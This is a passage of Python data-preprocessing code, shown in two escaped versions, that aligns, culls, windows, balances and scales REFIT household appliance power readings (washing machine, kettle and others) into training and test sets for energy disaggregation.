appliance_name, house_id, channel_id))\n print(len(data))\n mains = []\n app = []\n for i in data:\n mains.append(int(i[0]))\n app.append(int(i[1]))\n plt.figure(figsize=(20, 8))\n plt.plot(mains)\n plt.plot(app)\n plt.show()\n\n\ndef cull(cull_dict):\n for appliance_name, _dict in cull_dict.items():\n path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n for house_id, cull_list in _dict.items():\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_align\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id))\n new_data = []\n _cull_list = [[0, cull_list[0][0]]]\n for i in range(len(cull_list) - 1):\n _cull_list.append([cull_list[i][1], cull_list[i + 1][0]])\n _cull_list.append([cull_list[-1][1], len(data) - 1])\n for i in _cull_list:\n if i[1] - i[0] != 0:\n for j in range(i[0], i[1]):\n new_data.append(data[j])\n np.save('data\\\\REFIT\\\\after_culling\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id), new_data)\n print('House %d %s complete!' % (house_id, appliance_name))\n\n\ndef appliance_separation(dict, appliance_name):\n \"\"\"\n 将各个电器的数据进行分解,放置到appliance_data文件夹下对应电器的文件夹中,以house_id和channel_id进行命名\n :param dict: 电器数据来源\n :param appliance_name: 当前电器的名称,用以创建文件夹\n :return:\n \"\"\"\n path = 'data\\\\REFIT\\\\appliance_data\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n for house_id, channel_id in dict.items():\n data = np.load('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id)\n appliance_data = []\n for row in data:\n appliance_data.append([row[1], row[channel_id + 1]])\n np.save(os.path.join(path, '%d_%d.npy' % (house_id, channel_id)),\n appliance_data)\n print('Appliance %s House %d complete!' % (appliance_name, house_id))\n\n\ndef show_appliance(house_id, appliance_name):\n \"\"\"\n 具体观察每个电器的图形表示,将大段的数据缺失或者数据错误进行标注,构造cull_dict字典,在cull进行片段删除\n :param house_id:\n :param appliance_name:\n :return:\n \"\"\"\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_culling\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id))\n print(len(data))\n mains = []\n app = []\n for i in data:\n mains.append(int(i[0]))\n app.append(int(i[1]))\n plt.figure(figsize=(20, 8))\n plt.plot(mains)\n plt.plot(app)\n plt.show()\n\n\ndef cull(cull_dict):\n \"\"\"\n 根据画的图,将大段的空缺段进行删除,删除之后,需要进行比对\n :param cull_dict:\n :return:\n \"\"\"\n for appliance_name, _dict in cull_dict.items():\n path = 'data\\\\REFIT\\\\after_culling_2\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n for house_id, cull_list in _dict.items():\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_culling_2\\\\%s\\\\%d_%d.npy' %\n (appliance_name, house_id, channel_id))\n new_data = []\n _cull_list = [[0, cull_list[0][0]]]\n for i in range(len(cull_list) - 1):\n _cull_list.append([cull_list[i][1], cull_list[i + 1][0]])\n _cull_list.append([cull_list[-1][1], len(data) - 1])\n for i in _cull_list:\n if i[1] - i[0] != 0:\n for j in range(i[0], i[1]):\n new_data.append(data[j])\n np.save('data\\\\REFIT\\\\after_culling_2\\\\%s\\\\%d_%d.npy' % (\n appliance_name, house_id, channel_id), new_data)\n print('House %d %s complete!' % (house_id, appliance_name))\n\n\ndef separate(appliance_name):\n window_width = refit_cfg.window_width[appliance_name]\n data_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n count = 0\n appliance_train_validation = []\n appliance_test = []\n main_train_validation = []\n main_test = []\n for house_id, channel_id in refit_cfg.train_validation[appliance_name\n ].items():\n appliance_train_validation.clear()\n main_train_validation.clear()\n data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id,\n channel_id)))\n current_head = 0\n data_length = len(data)\n end = data_length - window_width - 1\n while current_head < end:\n temp_main = []\n temp_appliance = []\n for i in range(current_head, current_head + window_width):\n temp_main.append(data[i][0])\n temp_appliance.append(data[i][1])\n r = random.random()\n current_head += int(window_width * r)\n appliance_train_validation.append(temp_appliance)\n main_train_validation.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('T & V 1: House %d %f' % (house_id, current_head /\n data_length))\n data_length -= window_width\n random_clip = refit_cfg.random_clip[appliance_name]\n for i in range(random_clip):\n r = random.random()\n start = int(r * data_length)\n temp_main = []\n temp_appliance = []\n for j in range(start, start + window_width):\n temp_main.append(data[j][0])\n temp_appliance.append(data[j][1])\n appliance_train_validation.append(temp_appliance)\n main_train_validation.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('T & V 2: House %d %f' % (house_id, i / random_clip))\n print('Train & Validation: House %d %s complete!' % (house_id,\n appliance_name))\n np.save(os.path.join(data_path, \n '1024\\\\appliance_train_validation_%d.npy' % house_id),\n appliance_train_validation)\n np.save(os.path.join(data_path, \n '1024\\\\main_train_validation_%d.npy' % house_id),\n main_train_validation)\n count = 0\n for house_id, channel_id in refit_cfg.test[appliance_name].items():\n appliance_test.clear()\n main_test.clear()\n data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id,\n channel_id)))\n current_head = 0\n data_length = len(data)\n end = data_length - window_width - 1\n while current_head < end:\n temp_main = []\n temp_appliance = []\n for i in range(current_head, current_head + window_width):\n temp_main.append(data[i][0])\n temp_appliance.append(data[i][1])\n r = random.random()\n current_head += int(r * window_width)\n appliance_test.append(temp_appliance)\n main_test.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('Test 1: House %d %f' % (house_id, current_head /\n data_length))\n data_length -= window_width\n for i in range(refit_cfg.random_clip[appliance_name]):\n r = random.random()\n start = int(r * data_length)\n temp_main = []\n temp_appliance = []\n for j in range(start, start + window_width):\n temp_main.append(data[j][0])\n temp_appliance.append(data[j][1])\n appliance_test.append(temp_appliance)\n main_test.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('Test 2: House %d %f' % (house_id, i / data_length))\n print('Test 2: House %d %s complete!' % (house_id, appliance_name))\n np.save(os.path.join(data_path, '1024\\\\appliance_test_%d.npy' %\n house_id), appliance_test)\n np.save(os.path.join(data_path, '1024\\\\main_test_%d.npy' % house_id\n ), main_test)\n\n\ndef clip_visual(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train_.npy'))\n main_data = np.load(os.path.join(base_path, 'main_train_.npy'))\n print('Data load complete!')\n loop = 1000\n x = np.linspace(256, 768, 512)\n length = len(appliance_data)\n for i in range(loop):\n r = int(random.random() * length)\n plt.figure(figsize=(25, 10), dpi=100)\n plt.subplot(211)\n plt.xlim(0, 1024)\n plt.plot(main_data[r])\n plt.subplot(212)\n plt.xlim(0, 1024)\n plt.plot(x, appliance_data[r])\n savefig(os.path.join(base_path, 'clip_view\\\\%d.jpg' % i))\n plt.close()\n\n\ndef train_validation_split(appliance_name):\n data_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance = np.load(os.path.join(data_path,\n 'appliance_train_validation.npy'))\n main = np.load(os.path.join(data_path, 'main_train_validation.npy'))\n appliance_train, appliance_validation, main_train, main_validation = (\n train_test_split(appliance, main, test_size=0.2))\n print(len(appliance_train))\n print(len(main_train))\n np.save(os.path.join(data_path, 'appliance_train.npy'), appliance_train)\n np.save(os.path.join(data_path, 'main_train.npy'), main_train)\n np.save(os.path.join(data_path, 'appliance_validation.npy'),\n appliance_validation)\n np.save(os.path.join(data_path, 'main_validation.npy'), main_validation)\n\n\ndef data_integration(appliance_name):\n data_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance = []\n main = []\n for house_id, channel_id in refit_cfg.train_validation[appliance_name\n ].items():\n appliance_data = np.load(os.path.join(data_path, \n 'appliance_train_validation_%d.npy' % house_id))\n main_data = np.load(os.path.join(data_path, \n 'main_train_validation_%d.npy' % house_id))\n for i in appliance_data:\n appliance.append(i)\n for i in main_data:\n main.append(i)\n print(len(appliance))\n print(len(main))\n np.save(os.path.join(data_path, 'appliance_train_validation.npy'),\n appliance)\n np.save(os.path.join(data_path, 'main_train_validation.npy'), main)\n appliance_test = []\n main_test = []\n for house_id, channel_id in refit_cfg.test[appliance_name].items():\n appliance_data = np.load(os.path.join(data_path, \n 'appliance_test_%d.npy' % house_id))\n main_data = np.load(os.path.join(data_path, 'main_test_%d.npy' %\n house_id))\n for i in appliance_data:\n appliance_test.append(i)\n for i in main_data:\n main_test.append(i)\n print(len(appliance_test))\n print(len(main_test))\n np.save(os.path.join(data_path, 'appliance_test.npy'), appliance_test)\n np.save(os.path.join(data_path, 'main_test.npy'), main_test)\n\n\ndef positive_negative(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy'))\n count = 0\n threshold = [0, 50, 100, 200, 500, 1000, 2000, 5000, 10000]\n d = {}\n for i in range(len(threshold)):\n d[threshold[i]] = 0\n print(d)\n for th in threshold:\n for i in appliance_data:\n sum = 0\n for j in i:\n sum += int(j)\n if sum > th:\n d[th] += 1\n print('Thres %d complete!' % th)\n for thres, count in d.items():\n print('Thres: %d %d/%d %f' % (thres, count, len(appliance_data),\n count / len(appliance_data)))\n\n\ndef clip_view(appliance_name, thres):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy'))\n count = 0\n for i in appliance_data:\n sum = 0\n for j in i:\n sum += int(j)\n if sum > thres:\n plt.figure(figsize=(25, 10), dpi=100)\n plt.plot(i.astype(int))\n savefig(os.path.join(base_path, 'clip_view\\\\%d.jpg' % count))\n plt.close()\n count += 1\n\n\ndef test_process(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_test_512.npy'))\n temp = [0.0] * 512\n new_app = []\n for i in range(len(appliance_data)):\n max = np.max(appliance_data[i])\n if max < 0.05:\n print(max)\n new_app.append(temp)\n else:\n new_app.append(appliance_data[i])\n np.save(os.path.join(base_path, 'appliance_test_512.npy'), new_app)\n\n\ndef separate_positive_negative(appliance_name, thres, peak):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy'))\n main_data = np.load(os.path.join(base_path, 'main_train.npy'))\n count = 0\n appliance_positive = []\n appliance_negative = []\n main_positive = []\n main_negative = []\n appliance_temp = [0] * 1024\n for i in range(len(appliance_data)):\n sum = 0\n max = 0\n for j in appliance_data[i]:\n sum += int(j)\n for j in range(512):\n if int(appliance_data[i][j + 256]) > max:\n max = int(appliance_data[i][j + 256])\n if max < peak:\n sum = 0\n if sum > thres:\n appliance_positive.append(appliance_data[i])\n main_positive.append(main_data[i])\n else:\n appliance_negative.append(appliance_temp)\n main_negative.append(main_data[i])\n if i % 1000 == 0:\n print('Processing: %f' % (i / len(appliance_data)))\n np.save(os.path.join(base_path, 'appliance_positive.npy'),\n appliance_positive)\n np.save(os.path.join(base_path, 'main_positive.npy'), main_positive)\n np.save(os.path.join(base_path, 'appliance_negative.npy'),\n appliance_negative)\n np.save(os.path.join(base_path, 'main_negative.npy'), main_negative)\n\n\ndef generate_balanced_dataset(appliance_name, negative_ratio):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_positive = list(np.load(os.path.join(base_path,\n 'appliance_positive.npy')))\n appliance_negative = np.load(os.path.join(base_path,\n 'appliance_negative.npy'))\n main_positive = list(np.load(os.path.join(base_path, 'main_positive.npy')))\n main_negative = np.load(os.path.join(base_path, 'main_negative.npy'))\n print('Data load complete!')\n positive_length = len(appliance_positive)\n negative_length = len(appliance_negative)\n print('Postive length: %d negative length: %d' % (positive_length,\n negative_length))\n for i in range(int(positive_length * negative_ratio)):\n r = int(random.random() * negative_length)\n appliance_positive.append(appliance_negative[r])\n main_positive.append(main_negative[r])\n print('Data generate complete! length: %d' % len(appliance_positive))\n index = np.linspace(0, len(appliance_positive) - 1, len(appliance_positive)\n ).astype(int)\n random.shuffle(index)\n appliance_new = []\n main_new = []\n for i in index:\n appliance_new.append(appliance_positive[i])\n main_new.append(main_positive[i])\n print('Data shuffle complete!')\n np.save(os.path.join(base_path, 'appliance_train_balanced.npy'),\n appliance_new)\n np.save(os.path.join(base_path, 'main_train_balanced.npy'), main_new)\n print('Data save complete!')\n\n\ndef shrink(appliance_name, scale):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path,\n 'appliance_train_balanced.npy'))\n main_data = np.load(os.path.join(base_path, 'main_train_balanced.npy'))\n appliance_new = []\n main_new = []\n print('Data load complete!')\n for i in range(len(appliance_data)):\n appliance_temp = []\n main_temp = []\n for j in range(len(appliance_data[i])):\n appliance_temp.append(float(int(appliance_data[i][j]) / scale))\n for j in range(len(main_data[i])):\n main_temp.append(float(int(main_data[i][j]) / scale))\n appliance_new.append(appliance_temp)\n main_new.append(main_temp)\n print('Process complete!')\n np.save(os.path.join(base_path, 'appliance_train_%d.npy' % scale),\n appliance_new)\n np.save(os.path.join(base_path, 'main_train_%d.npy' % scale), main_new)\n\n\ndef shrink_validation(appliance_name, scale):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path,\n 'appliance_validation.npy'))\n main_data = np.load(os.path.join(base_path, 'main_validation.npy'))\n appliance_new = []\n main_new = []\n print('Data load complete!')\n for i in range(len(appliance_data)):\n appliance_temp = []\n main_temp = []\n for j in range(len(appliance_data[i])):\n appliance_temp.append(float(int(appliance_data[i][j]) / scale))\n for j in range(len(main_data[i])):\n main_temp.append(float(int(main_data[i][j]) / scale))\n appliance_new.append(appliance_temp)\n main_new.append(main_temp)\n print('Process complete!')\n np.save(os.path.join(base_path, 'appliance_validation_%d.npy' % scale),\n appliance_new)\n np.save(os.path.join(base_path, 'main_validation_%d.npy' % scale), main_new\n )\n\n\ndef appliance_1024to512(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_train = np.load(os.path.join(base_path,\n 'appliance_train_1000.npy'))\n appliance_validation = np.load(os.path.join(base_path,\n 'appliance_validation_1000.npy'))\n appliance_test = np.load(os.path.join(base_path, 'appliance_test_1000.npy')\n )\n at_new = []\n av_new = []\n ae_new = []\n for i in range(len(appliance_train)):\n at_temp = []\n for j in range(256, 768):\n at_temp.append(float(appliance_train[i][j]))\n at_new.append(at_temp)\n for i in range(len(appliance_validation)):\n av_temp = []\n for j in range(256, 768):\n av_temp.append(float(appliance_validation[i][j]))\n av_new.append(av_temp)\n for i in range(len(appliance_test)):\n ae_temp = []\n for j in range(256, 768):\n ae_temp.append(float(appliance_test[i][j]))\n ae_new.append(ae_temp)\n np.save(os.path.join(base_path, 'appliance_train_512.npy'), at_new)\n np.save(os.path.join(base_path, 'appliance_validation_512.npy'), av_new)\n np.save(os.path.join(base_path, 'appliance_test_512.npy'), ae_new)\n\n\ndef shrink_test(appliance_name, scale):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_test.npy'))\n main_data = np.load(os.path.join(base_path, 'main_test.npy'))\n appliance_new = []\n main_new = []\n print('Data load complete!')\n for i in range(len(appliance_data)):\n appliance_temp = []\n main_temp = []\n for j in range(len(appliance_data[i])):\n appliance_temp.append(float(int(appliance_data[i][j]) / scale))\n for j in range(len(main_data[i])):\n main_temp.append(float(int(main_data[i][j]) / scale))\n appliance_new.append(appliance_temp)\n main_new.append(main_temp)\n print('Process complete!')\n np.save(os.path.join(base_path, 'appliance_test_1000.npy'), appliance_new)\n np.save(os.path.join(base_path, 'main_test_1000.npy'), main_new)\n\n\nif __name__ == '__main__':\n appliance_name = 'WashingMachine'\n separate(appliance_name)\n data_integration(appliance_name)\n train_validation_split(appliance_name)\n separate_positive_negative(appliance_name, 1500, 20)\n generate_balanced_dataset(appliance_name, 1)\n shrink(appliance_name, 1000)\n shrink_validation(appliance_name, 1000)\n shrink_test(appliance_name, 1000)\n appliance_1024to512(appliance_name)\n print('Process complete!!!')\n", "step-5": "import sys\nsys.path.append('preprocess')\nimport matplotlib\nmatplotlib.use(\"TkAgg\")\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import savefig\nimport numpy as np\nimport refit_cfg\nimport os\nimport random\nfrom sklearn.model_selection import train_test_split\n\n\nname = ['WashingMachine', 'Kettle', 'Microwave', 'Fridge', 'Dishwasher']\nappliance_dict = {\n 'WashingMachine': refit_cfg.washingmachine,\n 'Kettle': refit_cfg.kettle,\n 'Microwave': refit_cfg.microwave,\n 'Fridge': refit_cfg.fridge,\n 'Dishwasher': refit_cfg.dishwasher\n}\n\n\ndef align_process(house_id):\n data = np.load('data\\\\REFIT\\\\original_data\\\\%d.npy' % house_id)\n new_data = []\n current_index = 0\n current_time = int(data[0][0])\n end_time = int(data[-1][0]) + 8\n interval_threshold = refit_cfg.separation_threshold\n isend = 0\n data_length = len(data)\n\n while current_time <= end_time:\n current_interval = int(data[current_index+1][0]) - int(data[current_index][0])\n if current_interval < interval_threshold: # small interval\n if current_time > int(data[current_index][0]):\n temp_index = current_index + 1\n while current_time > int(data[temp_index][0]):\n temp_index += 1\n if temp_index > (data_length-1):\n temp_index -= 1\n break\n\n if abs(current_time - int(data[temp_index-1][0])) > abs(int(data[temp_index][0])-current_time):\n current_index = temp_index\n if temp_index == (data_length-1):\n print('The end!')\n isend = 1\n else:\n current_index = temp_index - 1\n t = []\n for element in data[current_index]:\n t.append(element)\n t[0] = current_time\n new_data.append(t)\n if isend == 1:\n break\n current_time += 8\n if current_index % 1000 == 0:\n print('House %d processing: %f' % (house_id, current_index/data_length))\n else: # big interval\n current_index += 1\n current_time = int(data[current_index][0])\n\n np.save('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id, new_data)\n\n\ndef visual(house_id, channel_id, start, length):\n data = np.load('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id)\n print(len(data))\n target = []\n c = channel_id+1\n for r in data:\n target.append(int(r[c]))\n y = target[start:start+length]\n plt.plot(y)\n plt.show()\n\n\ndef diff(house_id):\n data = np.load('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id)\n d = []\n for i in range(len(data)-1):\n d.append(int(data[i+1][0])-int(data[i][0]))\n plt.plot(d)\n plt.show()\n plt.close()\n\n\ndef appliance_separation(dict, appliance_name):\n path = 'data\\\\REFIT\\\\appliance_data\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n\n for house_id, channel_id in dict.items():\n data = np.load('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id)\n appliance_data = []\n for row in data:\n appliance_data.append([row[1], row[channel_id+1]])\n np.save(os.path.join(path, '%d_%d.npy' % (house_id, channel_id)), appliance_data)\n print('Appliance %s House %d complete!' % (appliance_name, house_id))\n\n\ndef show_appliance(house_id, appliance_name):\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_align\\\\%s\\\\%d_%d.npy' % (appliance_name, house_id, channel_id))\n print(len(data))\n mains = []\n app = []\n for i in data:\n mains.append(int(i[0]))\n app.append(int(i[1]))\n plt.figure(figsize=(20, 8))\n plt.plot(mains)\n plt.plot(app)\n plt.show()\n\n\ndef cull(cull_dict):\n for appliance_name, _dict in cull_dict.items():\n path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n for house_id, cull_list in _dict.items():\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_align\\\\%s\\\\%d_%d.npy' % (appliance_name, house_id, channel_id))\n new_data = []\n _cull_list = [[0, cull_list[0][0]]]\n for i in range(len(cull_list)-1):\n _cull_list.append([cull_list[i][1], cull_list[i+1][0]])\n _cull_list.append([cull_list[-1][1], (len(data)-1)])\n\n for i in _cull_list:\n if i[1] - i[0] != 0:\n for j in range(i[0], i[1]):\n new_data.append(data[j])\n np.save('data\\\\REFIT\\\\after_culling\\\\%s\\\\%d_%d.npy' % (appliance_name, house_id, channel_id), new_data)\n print('House %d %s complete!' % (house_id, appliance_name))\n\n\ndef appliance_separation(dict, appliance_name):\n \"\"\"\n 将各个电器的数据进行分解,放置到appliance_data文件夹下对应电器的文件夹中,以house_id和channel_id进行命名\n :param dict: 电器数据来源\n :param appliance_name: 当前电器的名称,用以创建文件夹\n :return:\n \"\"\"\n path = 'data\\\\REFIT\\\\appliance_data\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n\n for house_id, channel_id in dict.items():\n data = np.load('data\\\\REFIT\\\\after_align\\\\%d.npy' % house_id)\n appliance_data = []\n for row in data:\n appliance_data.append([row[1], row[channel_id+1]]) # 将mains 和 appliance 作为一条单独的记录\n np.save(os.path.join(path, '%d_%d.npy' % (house_id, channel_id)), appliance_data)\n print('Appliance %s House %d complete!' % (appliance_name, house_id))\n\n\ndef show_appliance(house_id, appliance_name):\n \"\"\"\n 具体观察每个电器的图形表示,将大段的数据缺失或者数据错误进行标注,构造cull_dict字典,在cull进行片段删除\n :param house_id:\n :param appliance_name:\n :return:\n \"\"\"\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_culling\\\\%s\\\\%d_%d.npy' % (appliance_name, house_id, channel_id))\n print(len(data))\n mains = []\n app = []\n for i in data:\n mains.append(int(i[0]))\n app.append(int(i[1]))\n plt.figure(figsize=(20, 8))\n plt.plot(mains)\n plt.plot(app)\n plt.show()\n\n\ndef cull(cull_dict):\n \"\"\"\n 根据画的图,将大段的空缺段进行删除,删除之后,需要进行比对\n :param cull_dict:\n :return:\n \"\"\"\n for appliance_name, _dict in cull_dict.items():\n path = 'data\\\\REFIT\\\\after_culling_2\\\\%s' % appliance_name\n if not os.path.exists(path):\n os.mkdir(path)\n for house_id, cull_list in _dict.items():\n channel_id = appliance_dict[appliance_name][house_id]\n data = np.load('data\\\\REFIT\\\\after_culling_2\\\\%s\\\\%d_%d.npy' % (appliance_name, house_id, channel_id))\n new_data = []\n # 对cull_list进行变形,变成表征合理数据的区间\n _cull_list = [[0, cull_list[0][0]]]\n for i in range(len(cull_list)-1):\n _cull_list.append([cull_list[i][1], cull_list[i+1][0]])\n _cull_list.append([cull_list[-1][1], (len(data)-1)])\n\n for i in _cull_list:\n if i[1] - i[0] != 0:\n for j in range(i[0], i[1]):\n new_data.append(data[j])\n np.save('data\\\\REFIT\\\\after_culling_2\\\\%s\\\\%d_%d.npy' % (appliance_name, house_id, channel_id), new_data)\n print('House %d %s complete!' % (house_id, appliance_name))\n\n\ndef separate(appliance_name):\n window_width = refit_cfg.window_width[appliance_name]\n data_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n count = 0\n appliance_train_validation = []\n appliance_test = []\n main_train_validation = []\n main_test = []\n\n for house_id, channel_id in refit_cfg.train_validation[appliance_name].items():\n # train & validation\n appliance_train_validation.clear()\n main_train_validation.clear()\n data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id, channel_id)))\n current_head = 0\n data_length = len(data)\n end = data_length - window_width - 1\n while current_head < end:\n temp_main = []\n temp_appliance = []\n for i in range(current_head, current_head+window_width):\n temp_main.append(data[i][0])\n temp_appliance.append(data[i][1])\n r = random.random()\n current_head += int(window_width*r)\n appliance_train_validation.append(temp_appliance)\n main_train_validation.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('T & V 1: House %d %f' % (house_id, (current_head / data_length)))\n\n data_length -= window_width\n random_clip = refit_cfg.random_clip[appliance_name]\n for i in range(random_clip):\n r = random.random()\n start = int(r*data_length)\n temp_main = []\n temp_appliance = []\n for j in range(start, start + window_width):\n temp_main.append(data[j][0])\n temp_appliance.append(data[j][1])\n appliance_train_validation.append(temp_appliance)\n main_train_validation.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('T & V 2: House %d %f' % (house_id, (i / random_clip)))\n print('Train & Validation: House %d %s complete!' % (house_id, appliance_name))\n np.save(os.path.join(data_path, '1024\\\\appliance_train_validation_%d.npy' % house_id), appliance_train_validation)\n np.save(os.path.join(data_path, '1024\\\\main_train_validation_%d.npy' % house_id), main_train_validation)\n\n\n # test\n count = 0\n for house_id, channel_id in refit_cfg.test[appliance_name].items():\n appliance_test.clear()\n main_test.clear()\n data = np.load(os.path.join(data_path, '%s_%s.npy' % (house_id, channel_id)))\n current_head = 0\n data_length = len(data)\n end = data_length - window_width - 1\n while current_head < end:\n temp_main = []\n temp_appliance = []\n for i in range(current_head, current_head+window_width):\n temp_main.append(data[i][0])\n temp_appliance.append(data[i][1])\n r = random.random()\n current_head += int(r*window_width)\n appliance_test.append(temp_appliance)\n main_test.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('Test 1: House %d %f' % (house_id, (current_head / data_length)))\n\n data_length -= window_width\n for i in range(refit_cfg.random_clip[appliance_name]):\n r = random.random()\n start = int(r*data_length)\n temp_main = []\n temp_appliance = []\n for j in range(start, start + window_width):\n temp_main.append(data[j][0])\n temp_appliance.append(data[j][1])\n appliance_test.append(temp_appliance)\n main_test.append(temp_main)\n count += 1\n if count % 1000 == 0:\n print('Test 2: House %d %f' % (house_id, (i / data_length)))\n print('Test 2: House %d %s complete!' % (house_id, appliance_name))\n np.save(os.path.join(data_path, '1024\\\\appliance_test_%d.npy' % house_id), appliance_test)\n np.save(os.path.join(data_path, '1024\\\\main_test_%d.npy' % house_id), main_test)\n\n\ndef clip_visual(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train_.npy'))\n main_data = np.load(os.path.join(base_path, 'main_train_.npy'))\n print('Data load complete!')\n loop = 1000\n x = np.linspace(256, 768, 512)\n length = len(appliance_data)\n for i in range(loop):\n r = int(random.random()*length)\n plt.figure(figsize=(25, 10), dpi=100)\n plt.subplot(211)\n plt.xlim(0, 1024)\n plt.plot(main_data[r])\n plt.subplot(212)\n plt.xlim(0, 1024)\n plt.plot(x, appliance_data[r])\n savefig(os.path.join(base_path, 'clip_view\\\\%d.jpg' % i))\n plt.close()\n\n\ndef train_validation_split(appliance_name):\n data_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance = np.load(os.path.join(data_path, 'appliance_train_validation.npy'))\n main = np.load(os.path.join(data_path, 'main_train_validation.npy'))\n appliance_train, appliance_validation, main_train, main_validation = \\\n train_test_split(appliance, main, test_size=0.2)\n print(len(appliance_train))\n print(len(main_train))\n\n np.save(os.path.join(data_path, 'appliance_train.npy'), appliance_train)\n np.save(os.path.join(data_path, 'main_train.npy'), main_train)\n np.save(os.path.join(data_path, 'appliance_validation.npy'), appliance_validation)\n np.save(os.path.join(data_path, 'main_validation.npy'), main_validation)\n\n\ndef data_integration(appliance_name):\n data_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance = []\n main = []\n for house_id, channel_id in refit_cfg.train_validation[appliance_name].items():\n appliance_data = np.load(os.path.join(data_path, 'appliance_train_validation_%d.npy' % house_id))\n main_data = np.load(os.path.join(data_path, 'main_train_validation_%d.npy' % house_id))\n for i in appliance_data:\n appliance.append(i)\n for i in main_data:\n main.append(i)\n\n print(len(appliance))\n print(len(main))\n np.save(os.path.join(data_path, 'appliance_train_validation.npy'), appliance)\n np.save(os.path.join(data_path, 'main_train_validation.npy'), main)\n\n appliance_test = []\n main_test = []\n for house_id, channel_id in refit_cfg.test[appliance_name].items():\n appliance_data = np.load(os.path.join(data_path, 'appliance_test_%d.npy' % house_id))\n main_data = np.load(os.path.join(data_path, 'main_test_%d.npy' % house_id))\n for i in appliance_data:\n appliance_test.append(i)\n for i in main_data:\n main_test.append(i)\n\n print(len(appliance_test))\n print(len(main_test))\n np.save(os.path.join(data_path, 'appliance_test.npy'), appliance_test)\n np.save(os.path.join(data_path, 'main_test.npy'), main_test)\n\n\ndef positive_negative(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy'))\n count = 0\n threshold = [0, 50, 100, 200, 500, 1000, 2000, 5000, 10000]\n d = {}\n for i in range(len(threshold)):\n d[threshold[i]] = 0\n print(d)\n\n for th in threshold:\n for i in appliance_data:\n sum = 0\n for j in i:\n sum += int(j)\n if sum > th:\n d[th] += 1\n print('Thres %d complete!' % th)\n\n for thres, count in d.items():\n print('Thres: %d %d/%d %f' % (thres, count, len(appliance_data), count/len(appliance_data)))\n\n\ndef clip_view(appliance_name, thres):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_train.npy'))\n count = 0\n\n for i in appliance_data:\n sum = 0\n for j in i:\n sum += int(j)\n if sum > thres:\n plt.figure(figsize=(25, 10), dpi=100)\n plt.plot(i.astype(int))\n savefig(os.path.join(base_path, 'clip_view\\\\%d.jpg' % count))\n plt.close()\n count += 1\n\n\ndef test_process(appliance_name):\n base_path = 'data\\\\REFIT\\\\after_culling\\\\%s\\\\1024' % appliance_name\n appliance_data = np.load(os.path.join(base_path, 'appliance_test_512.npy'))\n temp = [0.0]*512\n new_app = []\n for i in 